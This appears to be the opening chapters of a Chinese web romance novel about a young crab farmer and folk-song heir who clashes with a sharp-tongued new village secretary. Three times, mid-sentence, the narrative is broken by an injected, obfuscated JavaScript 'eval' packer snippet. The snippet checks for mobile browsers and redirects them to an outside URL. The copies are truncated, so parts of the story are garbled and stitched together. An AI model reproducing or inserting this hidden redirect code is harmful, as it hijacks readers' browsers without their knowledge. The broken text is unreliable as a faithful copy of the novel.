《毒舌村官他真香了》 1. 花孔雀 五月的晨阳村,暖风像小猫的舌头,湿漉漉、软绵绵地舔过每一寸土地。 余楸骑着她那辆古董级的三轮车,在乡间小路上颠簸前行。车斗里空空如也,发出不堪重负的声音,仿佛下一秒就要散架。 这破车的年纪都快赶上她了,居然还没下岗。 余楸不禁叹了口气。 自己好歹也是非遗渔歌的传人,民俗学硕士,怎么就找不到个像样的工作呢?到头来还要回家啃老,跟螃蟹度日。 这世道! 五月的风裹挟着槐花香扑面而来,远处青山如黛,近处稻田如毯。几只白鹭掠过水面,惊起一圈涟漪。 “还是家乡好啊!”她不禁哼起熟悉的渔歌。 “三月桃花汛哟,四月鲥鱼肥...…” 正唱得兴起,前方岔路口突然窜出一辆红色跑车,余楸吓得尖叫一声,手忙脚乱地去捏刹车——可惜这破车的刹车比她的就业前景还渺茫。 “砰!” 三轮车结结实实地撞上了轿车的右前灯。余楸整个人向前扑去,肚子磕在车把上,额头又狠狠撞在后视镜上。 “嘶——”她疼得直抽气,眼前金星乱冒。 恍惚间听见车门打开的声音,接着是一阵沉稳的脚步声。 她抬头,只看见男人的背影——高挑修长,穿着宽松的潮牌卫衣,后颈处露出一截雾霾蓝的短发,耳垂上还闪着银色的耳钉。他伸出手,指尖在壮烈牺牲的车灯上轻轻摩挲,指节修长分明,骨感又漂亮,像是弹钢琴的手。 哇!手真好看! 下一秒,男人转过身来。 靠!脸更好看! 皮肤冷白,眉眼锋利,鼻梁高挺得像是被精心雕刻过,下颌线条干净利落,整个人透着一种张扬又精致的少年感。 ——像只漂亮的花孔雀。 只是此刻,那双恣意的眼睛里盛满了不耐烦和嫌弃。 太久没有看到过这种级别的帅哥,余楸几乎忘记了刚才撞车的事实。 她呆呆地看着面前的年轻男人,有一只小鱼在脑海里游来游去,时不时吐出粉红泡泡。 哦哦哦! 他来了! 他过来了! 他张嘴了! “大姐,眼睛不要可以捐了。那么大一团红色的东西往前开你看不见吗?” “刹车是摆设吗?还是手脚不协调啊?” “说话啊!” 余楸被劈头盖脸骂懵了,一时没反应过来,结结巴巴地说:“我、我不近视……” 男人像是气笑了,指着坏掉的车灯说:“大姐,这辆车市场价三百五十万,我上周才提的,拢共开出去三次,你就给我撞成这样。” “你知不知道这车漆比你命都贵!” “说吧,现金还是支付宝。” 余楸瞪大了眼睛,低头去看车标——好家伙,不认识,但一看就很贵。再抬头看男人这副拽得二五八万的样子,心里默默吐槽:这又是哪家的阔少爷,跑村里来撒野? “喂!” “你开车到路口不知道按喇叭的吗?我没问你要医药费就很不错了!” 然后小声嘟囔了一句:“而且,上来就叫女孩子大姐很没礼貌的好吗?” 男人冷笑一声:“你头上顶的不过是个葫芦,撞坏了又有什么可惜?没喊你大姨就不错了,知足吧你。” 余楸:“……” 这人嘴怎么这么毒啊?! 就在她气得想反驳时,男人的手机突然响了。他皱眉接起电话,下一秒,表情瞬间变了—— “沈姨,呜呜,车被撞了……” “这破村子我开了好久才找到路,有一段还没有水泥路,全都是贝壳和石子儿填的,硌得我身上疼……” 余楸:“???” 她愣在原地,目瞪口呆地看着眼前这个前一秒还凶神恶煞的男人,此刻正对着电话撒娇诉苦,活像个被欺负了的小朋友。 有钱人都是这种德行吗? 精神分裂还是人格障碍啊? 电话挂断,男人脸上的委屈消失,又恢复了那副欠揍的冷脸。 他盯着余楸,恶狠狠地说:“我告诉你葫芦娃,小爷我今天有急事放你一马,别让我再看见你!” “还有,我劝你回家把脑子剖开,看看里面有没有水泥,没有的话就装点进去,不然脑袋空空,走路都撞车!” 余楸真的被惹火了。 她平时脾气好,但不代表不会咬人。 她深吸一口气,声音不大但字字清晰:“彼此彼此了,豌豆少爷。开车当心,小心另一个车灯也报废。” 顿了顿,又补了一句:“受不了村里就别来,回家找妈妈去吧。” “当代妈宝男行为图鉴应该拿你当封面。” “准能爆火!” 男人猛地回头,一脸震惊地看着她,似是没想到这个看起来温吞的小白兔会反击。 “你、你、好样的!”他气得语塞,最后只能咬牙切齿地拉开车门,狠狠摔上。 红色跑车“轰”的一声冲出去,很快消失在视线里。 余楸狠狠往地上跺了一脚:“呸!傻缺!” * 转过最后一个弯,镇子出现在眼前。余楸在“晨阳农资”的招牌前停了下来。 刹车依旧不灵,她整个人向前冲去,胸口重重撞在车把上,撞的生疼。 这是镇上最大的一家农副产品店,老板是村里的副书记,姓林,论亲戚,还得喊余楸一声小姨。 当然,她不敢当。一个四十多的大叔喊一个二十五的小姑娘小姨,妥妥折寿。 店里静悄悄的,只有个二十出头的小伙计在柜台后玩手机。见有人进来,头都不抬一下。 余楸性子温吞,也不敢大声喊,只轻轻叫了一声“小哥”。 没反应。 “小哥,买饲料。”她稍稍提高了音量。 小伙计这才慢悠悠地抬头,上下打量她一番,眼神里明晃晃写着“生客好宰”四个大字。 余楸心里明镜似的,面上却不好意思说,只得问道:“小哥,哪款蟹饲料比较好啊?我是新来的,不懂这些。” 一听这话,小伙计眼睛都亮了,立刻凑过来:“妹子你算问对人了!这款''蟹霸王''是我们店卖得最好的,保准你的螃蟹吃了膘肥体壮...…” 余楸边听边点头,心里却在盘算:这包装上的生产日期都快半年了,还卖这么贵?真当我是冤大头? “所以一包只要288,买十包送一包!” 她决定先按兵不动:“那麻烦小哥帮我搬三十包包到车上呗?” 小伙计一愣:“现在就要?” “对呀,我急着用。” “小哥你这么壮实,搬十包肯定不在话下吧?” 被漂亮姑娘一夸,小伙计顿时飘飘然,二话不说开始搬货。 余楸就乖乖地站在一旁看着。 等三十包饲料全堆上三轮车,小伙计已经汗如雨下,T恤都湿透了。 余楸这才慢悠悠掏出手机:“扫码付款。嗯,市场价一包188,三十包5076,对吧?” 小伙计脸色骤变:“什么188?我刚说的是288!” “是吗?”余楸眨眨眼,指向墙上贴的价格表,“可这里明明写着188呀。” “小哥,咱都是一个镇子的人,可不能随便坑人啊。再有下次,我可就告诉我大侄子了。” “我怕你侄子?”小伙计恼羞成怒。 正巧这时,林书记推门而入。 余楸笑靥如花:“这么巧,我侄子回来了。” 小伙计转头一看,腿都软了。 “林书记早啊!”余楸笑眯眯地打招呼,“大清早就出门啦?” 林书记擦了擦汗:“是的哦,今天新书记上任,我一大早就去等着接人,等半天也没个消息,才知道人家自己开车来了。” “这么大官威,我看这新书记,不中用。” “哎哟哟我的小姨诶!”林书记差点跳起来,“这话可不能乱说。人家是名牌大学毕业的,来我们这已经是大材小用了。在外人前可不能这么说!” 余楸被说得不太好意思:“哎呀我知道了林书记,你别紧张啊。我走了啊,回见。” 骑上满载饲料的三轮车,她的心情好了不少。 讨厌的花孔雀,滚回家找妈妈去吧! * 余楸费劲地把三轮车停在塘边的小坡路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812550|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这破车今天算是彻底耗尽了她最后一点耐心。她跳下车,揉了揉还在隐隐作痛的肚子,沿着坡路往家走去。 晨阳村的地形很特别——整个村子像一只碗,村民们住在碗沿的高处,而蟹塘和农田则躺在碗底。西边是天然形成的晨阳湖,水面开阔,波光粼粼;东边则是人工开挖的蟹塘,各家各户用竹篱笆围着,远远看去就像一副巨大的棋盘。 塘埂上立着不少铁皮小屋,那是村民们守夜时住的。每到饭点,小屋里就会飘出缕缕炊烟,混着饭菜的香气在塘面上飘荡。 村民生活质朴,随手从塘里捞几只螃蟹,摘把野菜,加点小葱辣椒,就能炖出一锅浓油赤酱的下饭菜。 余楸站在坡上深吸一口气,熟悉的烟火气让她心头一暖。 虽然嘴上抱怨着回乡是“啃老”,但这里终究是她的根。 回到家,她翻出医药箱,撩起衣服一看——好家伙,肚皮上一大片青紫,额头的包也肿得老高。 她一边擦药一边咬牙切齿:“开个跑车了不起啊?长得帅就能为所欲为啊?” 长得帅…… 嗯,确实很帅。 处理完伤口,她钻进厨房。母亲正在灶台前忙碌,见她进来头也不抬:“秋秋,把菜洗了。” 她乖乖应声,挽起袖子开始择菜。 母女俩配合默契,不一会儿就备好了晚餐——清蒸螃蟹、红烧杂鱼、凉拌马兰头,还有一锅香喷喷的腌笃鲜。 余楸端着饭菜走到塘埂上,朝塘里大喊:“爸!吃饭啦!” 远处的小船上,父亲朝她挥了挥手,慢慢划向岸边。 晨阳村的螃蟹养殖是支柱产业,村里人几乎都靠这个吃饭。父亲是村里养蟹的一把好手,承包的塘最多,面积最大。 三人坐在塘埂的小木桌前,就着阳光享用午餐。父亲夹了只最肥的母蟹放在余楸碗里:“多吃点,补补脑子。” “爸!”余楸应激地反抗,“我脑子好着呢!” 母亲笑着给她盛汤:“你爸逗你呢。” “对了,晚上咱们得去林书记家吃饭,新书记来了,得去拜访一下。” 余楸眼睛一亮,拍手叫好。 林书记的老婆做饭非常好吃,她和林书记的女儿林小樱是从小玩到大的朋友。 有吃还有玩,干嘛不去? 父亲擦了擦嘴:“这次可不光是吃饭。新书记听说来头不小,估计是要商量养蟹的事。” 他意味深长地看了女儿一眼:“从今天起你就算正式接手蟹塘了啊,跟着爸好好学好好干!” 余楸撇撇嘴,没接话。 她就是个一问三不知的小白,任重道远啊。 * 傍晚时分,一家三口来到林书记家。大人们在客厅喝茶嗑瓜子,余楸溜到院子里找林小樱。 “小樱!你看我今天被撞的!” 林小樱正在台阶上剥橘子,抬头一看吓了一跳:“天啊!你额头怎么了?” 余楸一屁股坐在她旁边,掀起衣角:“还有这儿呢!我今天可倒霉了,遇到个开跑车的大少爷。” 她绘声绘色地讲起白天的遭遇,难得激动:“那家伙长得人模狗样的,说话能把人气死!” 林小樱默默听着,为她不平。 两人正骂得起劲,一个冷冽的男声突然从身后传来。 “看不出来,你骂人的时候挺带劲啊。” 余楸浑身一僵,缓缓转头—— 大少爷就站在她身后不到两米的地方,掩不住眼中那抹讥诮。 林书记匆匆从屋里出来,满脸堆笑地迎上去:“原书记!原书记!远道而来真的辛苦了!” 他回头招呼余楸:“小樱,秋秋,快跟原书记问个好!” 余楸如遭雷击。 原、书、记? 这个大少爷居然是新来的书记?! 男人嘴角勾起一抹若有若无的笑,目光落在余楸身上:“林书记,不用问好。” “我和这位小姐认识。” 他顿了顿,声音轻得像羽毛拂过,却让余楸起了一身鸡皮疙瘩。 “毕竟,能把我的车撞出艺术感的……” “长这么大。” “就见过她一个。” 2. 塘主小姐 余楸和林小樱像两只壁虎似的贴在门框上,竖着耳朵偷听屋里的谈话。 原来那男人叫原朗,是京大的学生,京城人,刚毕业,考选调上岸了隔壁青林村,结果临出发前被通知调换了职务,成了晨阳村的书记。 余楸和林小樱不由对视一眼。 水桥镇附近有三个村,晨阳村最大,人口最多,却最穷。 虽然说现在全民小康了,村里修了路通了网,家家户户盖起了小楼,按理说,不存在啥生活的困难。但换句话说,没有啥困难就等于一年保一年。 中国人嘛,骨子里是保守的,深谋远虑的,谁不想趁着年轻多挣点钱,让子孙后代更容易一点呢? 只可惜,晨阳村因为地势的问题,除了养蟹,没啥大的经济产业了。 村里人大多已到中年,文化普及程度也不高,所以想不到什么别的法子挣钱,老老实实的守着祖辈的蟹塘过活。 “怎么非得把这大少爷调我们这来。”余楸小声嘀咕,“去青林村不是挺好。” “秋秋!”父亲的声音突然从屋里传来,吓得她一个激灵。 “哎!” “进来!” 余楸硬着头皮走进客厅,感觉所有人的目光都钉在自己身上。父亲坐在沙发边缘,眉头紧锁;林副书记站在一旁,表情尴尬;而那个“霉神”——现在该叫原书记了——正悠闲地品着茶,连个眼神都欠奉。 “秋秋啊,听说你今天...…把原书记的车撞了?” 余楸眼睛瞪得溜圆。 好家伙,恶人先告状! 她狠狠瞪向原朗,对方却依然把玩着手中的青瓷茶杯,修长的手指在杯沿轻轻摩挲。 “昂,撞了。”她扬起下巴。 “他也把我撞了。爸你看,我脑袋上这么大个包呢!” 父亲的表情更尴尬了:“秋秋,给原书记道个歉吧。” “为什么!”余楸委屈。 “他就不是个好人!撞了我逃逸不说,还让林书记白等那么久——” “秋秋!闭嘴!”父亲猛地站起来,“人家原书记今天是特地去看新订购的那批蟹饲料到了没有!都是顶好的进口料,整个村两个月的量,原书记免费送给咱了!还不谢谢人家?” 余楸的嘴张得能塞进一只螃蟹。 她的目光刷地射向原朗。 对方终于舍得抬眼,那双漆黑的眼睛里盛满了挑衅和玩味,嘴角还挂着若有若无的笑,活像只逮住老鼠却不急着吃的猫。 余楸的嘴开开合合,那个“谢”字卡在喉咙里,死活吐不出来。 半晌,原朗轻笑着摆摆手:“算了余叔,别逼她了。” “否则,秋秋姐姐怕是要跳起来打我的膝盖了。” 靠!这是在笑她个子矮?! 她下意识要冲上去,被林小樱一把拽住。 原朗从容地站起身。余楸这才注意到他有多高——起码一米八五往上,她得仰着脖子才能跟他对视。 男人肩宽腿长,站在农村常见的低矮客厅里,活像只误入鸡窝的鹤。 他一步步走过来,余楸不自觉地后退,直到后背抵上墙壁。 原朗在她面前站定,微微俯身。余楸能闻到他身上淡淡的檀木香气。 “怕了?”他低声问,声音里带着显而易见的嘲弄。 余楸梗着脖子:“谁、谁怕了?” 男人轻笑一声,直起身子,迈着长腿从她身边擦过。 不知是不是错觉,他的手臂似乎蹭过了她的肩膀。 “我去看看蟹塘。”他头也不回地说,“余叔,明天上午九点,蟹塘见。” * 天刚蒙蒙亮,余楸就被父亲从被窝里拽了出来。 “才五点啊爸。” 她揉着眼睛嘟囔,头发乱得像被螃蟹钳子绞过。 “蟹塘最忙就是清晨。”父亲往她怀里塞了套衣服,“赶紧换上,我在门口等你。” 余楸低头一看——黑色胶靴大得能塞进两只脚,背带裤明显是男款,连橡胶围裙都大了一号。她撇撇嘴,还是乖乖套上了。 镜子里顿时出现个像偷穿大人衣服的小孩,滑稽得她自己都笑出声。 推开门的瞬间,晨风夹着水汽扑面而来。 天边刚泛起鱼肚白,薄雾像轻纱般笼罩着蟹塘。远处已有村民在忙碌,身影在雾气中时隐时现,如同水墨画中的点缀。偶尔有白鹭掠过水面,激起一圈涟漪,又迅速消失在芦苇丛中。 “发什么呆?”父亲已经站在小木船边,“上来。” 余楸小心翼翼地迈步,结果胶靴太松,差点在塘埂上摔个跟头。她狼狈地抓住船沿,在父亲无奈的目光中爬上了船。 小船轻轻摇晃,父亲撑开竹篙,船身划开平静的水面,像一把剪刀裁开绸缎。 余楸坐在船头,看着两岸景物缓缓后退,突然有种奇异的宁静感涌上心头。 不知不觉,她哼起了一首古老的渔歌: “哎—— 晨雾蒙蒙出船去哟, 晚霞红红收网归~ 龙王赐我三尺浪哟, 蟹将赠我满舱肥~” 她的声音清亮如山泉,在晨雾中荡开。 这是奶奶教她的《讨海歌》,原本是渔民出海时祈求丰收的调子,被她即兴改了词。 歌声惊起岸边一群麻雀,扑棱棱飞向天际。 父亲撑篙的手顿了顿,眼中闪过一丝惊讶。秋秋从小爱唱歌,但今天这调子格外不同——像是天生就该从她喉咙里流出来似的,每个转音都带着水波的韵律。 “再唱一遍。” 余楸眨眨眼,又唱了起来。这次声音更放得开,尾音在塘面上打着旋儿,惊得水下鱼群四散。远处几个村民直起腰往这边看,有人甚至跟着打起了拍子。 “你奶奶要是听见...…”父亲摇摇头,没说完。 但余楸知道他的意思——奶奶是十里八乡有名的渔歌传人,生前总说她嗓子好,该把这渔歌传下去。 余楸也不负奶奶所托,十八岁就成了省级非遗文化传人,经常在学校和社区演出 大半个盐台市都知道,水桥镇晨阳村出了个渔歌美人。不仅人长得漂亮,嗓子更是清亮,听过她唱歌的,没有不夸一声“好”的。 但现在,渔歌传人在跟螃蟹斗智斗勇。 船行至第一个塘区,父亲停下:“看水色。” 余楸探头望去。水面泛着淡淡的茶褐色,偶尔有气泡冒出。 “这是好水。”父亲用竹篙搅了搅,“颜色说明水藻适量,气泡是螃蟹在底下活动。要是水太清,就得施肥;太浑,就得换水。” 他弯腰从船底摸出个小网兜:“现在检查螃蟹。” 网兜入水不过三秒,再提起时已经兜住两只张牙舞爪的螃蟹。 父亲捏起一只,手法娴熟地翻看:“这只是公的,看肚脐形状。壳硬了,说明最近蜕过壳。” “蜕壳?”余楸凑近。 “螃蟹一生要蜕壳十八次。”父亲指着蟹壳边缘一道浅浅的痕迹,“每次蜕壳后新壳很软,这时候最容易被同类攻击。所以塘里要放足够的遮蔽物——” “比如那些瓦片!”余楸指向塘底排列的碎瓦。 父亲难得露出赞许的神色:“对。还有水草。” 他又检查了另一只,“这只是母的,快要抱卵了。得单独放到育苗塘去。” 接下来的两个小时,父亲带着她一个塘一个塘地巡视。余楸渐渐摸出门道:看水草密度判断水质,通过岸边脚印发现偷食的水老鼠,甚至学会用特制的长柄网捞起死蟹防止污染...… “现在下饲料。”父亲从船舱搬出袋绿色颗粒,“这是基础料,蛋白质含量32%。” 余楸抓起一把:“闻起来像鱼粉?” “主要成分是鱼粉、豆粕和微量元素。”父亲示范着抛洒动作,“要均匀,不能太集中,否则螃蟹会打架。” 她试着模仿,结果半袋饲料天女散花般落在自己胶靴上。 父亲叹气,却也没说什么,只是继续讲解:“每天早晚各喂一次,每次量要固定。蜕壳期要加钙粉,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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余楸脚步一顿,这背影化成灰她都认得 ——原朗。 似乎察觉到视线,男人转过身来。碎发微湿,大概是刚洗过脸,阳光下闪着细碎的光。黑色运动裤衬得腿格外长,脚上那双白得发亮的AJ在泥泞的塘埂上显得格格不入。 穿AJ来蟹塘?余楸暗自腹诽,真是少爷做派。 她装作没看见,加快脚步想从旁边溜过去。 “站住。” 清冷的声线像根绳子,硬生生绊住了她的脚步。 余楸不情不愿地转身:“大少爷有何贵干?” 原朗的目光在她身上缓缓移动——沾满泥点的背带裤,湿漉漉的胶靴,还有那张清丽的小脸上不知什么时候蹭的一道灰。 他挑了挑眉:“你改行挖炸药了?” “我是去蟹塘工作了!”余楸晃了晃手里的桶。 “哪像你,一个当官的就知道逛大街。” 桶里几只残蟹虚弱地挥了挥钳子,像是在附和。 原朗瞥了一眼:“你,养蟹?” 他突然笑出声,那笑声像碎冰掉进玻璃杯,清脆又冷冽:“用你那套''葫芦理论''?” 余楸气得头发都要竖起来。她“咚”地把桶放在地上,双手叉腰:“看好了,大少爷。” 她指向远处的蟹塘:“这,这,还有那边两个,那边一个,都是我的。我可是村里最大的塘主!” 她挺起胸膛,虽然这动作在满身泥泞的情况下毫无威慑力:“你要经手养蟹的事,最好说话别那么难听。把我哄高兴了,我帮你在村民面前美言几句,你办事的效率就蹭蹭涨了。” 原朗双手插兜,居高临下地看着她。 他忽然凑近一步,近得余楸能闻到他身上淡淡的沐浴露的气息。 “走着瞧吧,塘主小姐。” 他声音很轻,却字字清晰,“看看是村民听你的,还是听我这个''当官的''。” 那就走着瞧! 余楸倏地转身。 一高一矮两道身影在乡间小路上渐渐远去。 今天是个好天气。 3. 可怜 回到家,余楸迫不及待地冲进浴室。热水冲走满身疲惫和泥垢,皮肤被蒸得泛红。换上简单的白T恤和大短裤,嫩生生的小腿露在外面,还带着沐浴后的水汽。 她一边擦着湿漉漉的头发,一边走到后院。傍晚的风夹着荷叶香气拂过面颊,舒服得让她眯起眼。小木桌上放着母亲泡好的菊花茶,她端起杯子,任由风吹干发丝,眺望远处的蟹塘。 突然,她注意到自家塘边的小屋里走出两个人,先是父亲,接着是—— 原朗? 那家伙个子太高,出门时还得弯腰才没撞到门框。 两人站在塘埂上交谈。距离太远听不清内容,但父亲看起来很激动,甚至握住了原朗的手。而原朗依旧那副气定神闲的模样,一手插兜,偶尔点头。 余楸好奇地伸长脖子。他们在说什么?饲料的事?塘坝修缮?总不可能是...…她的坏话吧? 就在这时,原朗转头,视线直直投向她的方向。余楸吓得差点打翻茶杯——这么远,他不可能看清自己吧? 她小心翼翼地冲那边比了个鬼脸。 原朗似乎顿了顿,然后若无其事地转回去,和父亲道别后便离开了。阳光把他的影子拉得很长,黑色身影在金色稻田中穿行,像一幅移动的剪影画。 余楸不自觉地盯着那个背影,直到它消失在拐角。 不知为何,她想起奶奶说过的话——看人要看背影,那是最不会骗人的。 原朗的背影很好看,挺拔如松,却又带着年轻人特有的不羁。走路时肩背的线条流畅得像书法大家挥毫而就的一竖,干脆利落,没有半分犹豫。 “可惜长了张嘴。”她小声嘀咕,却感到胸口莫名发紧。 余楸在心里盘算着这几天的安排,跟父亲巡完塘得赶去村委会开例会,下午照例要去镇上小学教书。 她虽然才回乡不久,但支教却已经有三年了。 以前读书的时候,她就在周末和寒暑假抽空回来,和林小樱一起,两人轮班。 镇上小学学生少,师资力量和资源配套更是不够,这也是没办法的事。 余楸想着,能帮一点是一点,这是她的家乡,如果她不建设,又有谁会想着呢? 远处传来母亲的呼唤:“秋秋!吃饭了!” 她应了一声,最后看了眼空荡荡的塘埂。父亲还站在那里,低头查看着什么,表情凝重。 余楸有种预感——这个夏天,恐怕不会太平静了。 * 晚上八点,余楸正躺在床上刷小视频,屏幕上是城里网红打卡高级餐厅的画面。她撇撇嘴,手指一划——下一条是萌宠合集,小金毛滚泥坑的憨态让她忍不住笑出声。 “砰!砰!砰!” 突如其来的砸门声吓得她手机直接拍在脸上。 “老余!老余!快醒醒!不好了,螃蟹跑了!” 余楸一个鲤鱼打挺从床上弹起来,手忙脚乱地套上衣服。等她跌跌撞撞跑下楼时,父亲已经穿戴整齐,手里提着应急灯和铁锹,母亲正往他口袋里塞手套。 “怎么回事?” 门外站着五六个村民,个个神色慌张。领头的李叔满头大汗:“塘坝太久没修,不知道被踢谁倒了一大块!一个没看住,螃蟹全往岸上跑了!” 父亲脸色瞬间变得铁青,但声音异常冷静:“去村里仓库找点木板和铁丝。你们几个跟我先把缺口堵上,剩下的去把螃蟹捞回来,能捞多少捞多少。” 他转头看了眼余楸:“你在家待着。” 她还没来得及反驳,父亲就已经出门了。 余楸才不肯呢,拿起工具就溜出了门。 一出院门,就被眼前的景象惊呆了。月光下,数以百计的螃蟹正浩浩荡荡地“行军”,它们横着身子,八条腿飞快移动,甲壳碰撞发出“咔嗒咔嗒”的声响,活像一支训练有素的微型军队。 “我的老天爷!”她喃喃自语,赶紧加入“抗蟹大军”。 接下来的半小时堪称魔幻——余楸时而弯腰捉蟹,时而追着逃跑的“逃兵”满塘埂跑。这些平时慢吞吞的家伙今晚却格外敏捷,好几次从她指缝溜走,还嚣张地挥舞着钳子。 “完了,这得亏多少啊!”她一边捞一边哀嚎,额头上的汗珠滚进眼睛,刺得生疼。 循着螃蟹的踪迹,余楸不知不觉走到了村东头。这里住户稀少,大部分人家都黑着灯。 她发现前面不远处,一栋二层小楼的门大敞着,暖黄的灯光流泻到院子里,而更令人震惊的是——一队螃蟹正雄赳赳气昂昂地朝里进军! 余楸快步走到门前,敲了敲敞开的门扇,轻声问: “老乡?老乡你在吗?” 没有回应。 她又喊了两声,依然没人应答。眼看螃蟹大军就要攻占客厅,她一咬牙跨了进去:“老乡,打扰了!我是来抓螃——” 话音戛然而止。 客厅正中央的餐椅上,蜷缩着一个熟悉的高大身影。原朗双手抱膝,整个人缩成可怜的一团,平日里梳得一丝不苟的头发此刻凌乱地耷拉着,昂贵的黑色家居服皱巴巴地贴在身上。 男人眼角泛红,嘴唇抿得发白,活像只被雨淋湿的大狗。 “原...…原书记?”她试探着叫了一声。 原朗猛地抬头,那双总是盛满讥诮的眼睛此刻水汽氤氲,在灯光下闪着细碎的光。 余楸心头一震—— 他哭了? 那个毒舌大少爷居然哭了? “原书记,你怎么了?”她不禁放低了声音。 “有...…有螃蟹,”原朗的嗓音哑得不成样子,“到处都是...…你,你把它们弄走。” 余楸承认,那一刻差点笑出声,但看到他发抖的手指,又硬生生憋了回去。 她放轻声音,像哄小孩似的:“好好好,我把它们都弄走,你别怕啊。” 这个场景堪称荒诞——余楸举着捞网在屋里上蹿下跳,而堂堂村书记像尊雕像般僵在椅子上,每当有螃蟹从角落窜出,他就倒抽一口冷气,脚趾在拖鞋里蜷缩起来。 “别动!那只在窗帘后面!” “左边!左边还有一只!” “啊啊啊,它它它爬到我鞋子上了!” 原朗的惊呼声此起彼伏,余楸忙得满头大汗,心里却莫名软成一片。 原来这个怼天怼地的家伙,也有这么脆弱的一面。 十分钟后,最后一只“逃犯”落网。余楸拎着沉甸甸的桶,长舒一口气:“搞定!” 她转身看向原朗,发现对方依然保持着防御姿态,手指紧紧攥着椅背,骨节发白。 “都抓起来了,”她把桶举到他面前,“你看——” “拿开!”原朗猛地后仰,差点连人带椅翻过去。 余楸赶紧放下桶,眼疾手快地扶住椅子。这才注意到他的右手食指肿得老高,一道狰狞的伤口横贯指节,血迹已经半干。 “你受伤了?!” 她惊呼,“螃蟹夹的?” 原朗别过脸,微不可察地点了点头,耳尖红得滴血。 “家里有药吗?” “在,在楼上房间抽屉。”男人的声音小得像蚊子哼哼。 “在这坐着别动。”余楸嘱咐道,转身往楼上走。 原朗的房间出乎意料的整洁,浅灰色床单平整得没有一丝褶皱,书桌上的文件按大小排列得整整齐齐。 余楸轻易就在床头柜找到了药箱——这大概是她见过最讲究的药箱,连棉签都按长度分类摆放。 “真是强迫症。”她小声嘀咕,拿着药箱下楼。 原朗还保持着原来的姿势,只是眼神一直追随着她的动作。余楸拖了把椅子坐到他旁边,打开药箱。 “手给我。” 她的眼神带着几分无奈。 原朗犹豫了一下,慢慢伸出受伤的手。他的手指修长漂亮,此刻却因为疼痛微微颤抖。 余楸轻轻托住他的手腕,能感觉到脉搏在她指尖下急促跳动。 “可能会有点疼。”她先用生理盐水冲洗伤口,动作轻柔得像在对待什么易碎品。 原朗倒吸一口冷气,但硬是没吭声。 余楸偷偷抬眼,发现他下唇咬出了一排牙印,长睫毛垂下来,在脸上投下一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她火速按下结束键,干笑两声:“那个,原书记,我去看看外面还有没有螃蟹...…” “余、楸!” 原朗一字一顿,每个音节都像从牙缝里挤出来的。 “坝埂是你踢坏的?” “我那不是故意的。”余楸往门口退,声音也小了,“就轻轻碰了一下,我自己还摔了呢!” 原朗站起身,在灯光下投下一大片阴影。他一步步逼近:“轻轻碰一下?” “你知道今晚村里损失多少吗?” “我的手指差点二次伤残!” “还有我的AJ!你知道那双鞋多难买吗?!” 余楸被他逼到门边,后背抵上冰凉的门板。原朗身上淡淡的雪松香气混合着药味扑面而来, 她莫名心跳加速,但嘴上不服软:“谁让你穿AJ来蟹塘的!装什么都市潮男!再说了,要不是塘坝年久失修,能被我轻轻一脚就踢坏吗?” “轻轻一脚?”原朗冷笑,“你是穿铁鞋长大的?” “你——”余楸气结,猛地推开他,“原朗你就是个翻脸比翻书还快的臭男人!刚才谁可怜巴巴地求我赶螃蟹来着?早知道就该让它们夹死你!” 她怒气冲冲地拉开门,夜风灌进来,吹散了一室燥热。 “余楸!”原朗在身后喊她。 “干嘛!”她头也不回。 “给你一星期时间,交给我一份蟹塘整改方案。” 他的声音恢复了那种令人牙痒的从容。 “否则,我会把修车灯的三万八千六百二十五元,一分一厘地从你口袋里讨回来。” 余楸猛地转身:“你这是公报私仇!” 月光下,原朗倚着门框,受伤的手插在兜里,另一只手把玩着那片宾利车灯碎片。 他勾起唇角,露出今晚第一个真正的笑容。 “不,这是为民除害。” 4. 蹂躏 三天后,村委会办公室。 余楸瘫在会议桌上,额头抵着冰凉的桌面。 “整改资金,整改资金。我哪来那么多钱啊?他以为我是印钞机吗?” 林小樱在一旁削苹果,刀工娴熟得让果皮连成长长一条:“哎呀,不是还有几天嘛。再说了,原书记只是让你先交个方案,又没让你立刻变出钱来。” “你太天真了。”余楸抬起头,眼下挂着两个明显的黑眼圈,“他那是让我告诉他,怎么把这二十万挣到手!” “二十万?!”林小樱手一抖,果皮断了,“这么多?” “最少也得这个数。”余楸又趴了回去,“我一个无业游民,又不能偷又不能抢,上哪弄这么多钱?” “是啊,等到卖螃蟹的季节还有几个月呢。”林小樱把削好的苹果递给她。 余楸接过苹果狠狠咬了一口:“不然我开个小饭店?专卖河鲜?” “你可打住吧!”林小樱一脸惊恐,“你那叫做饭吗?那叫下毒!上次你煮的鱼汤,我家猫闻了都绕道走!” 门外传来一声清晰的嗤笑。 余楸头都不用回就知道是谁。 她往椅子上一躺,仰头看着天花板:“原书记终于来了?说好的八点半见面呢?睡过头了?” 原朗迈着长腿走进来,他今天穿了件深蓝色衬衫,袖口挽到手肘,露出线条分明的小臂。男人径直走到主位坐下,目光在余楸眼下的乌青停留了两秒。 “秋秋姐,没睡好啊。”语气里带着明显的揶揄。 “是啊,不能跟原书记比。”余楸皮笑肉不笑。 “城里猪,睡眠质量就是不一样。” “还有,能别一个口一个姐吗?” “我不就比你大了三岁?搞得好像我很老一样。” 原朗嘴角抽了抽,显然没料到这个称呼,更没料到余楸跟吃炸药了一样嘴皮子突突的。 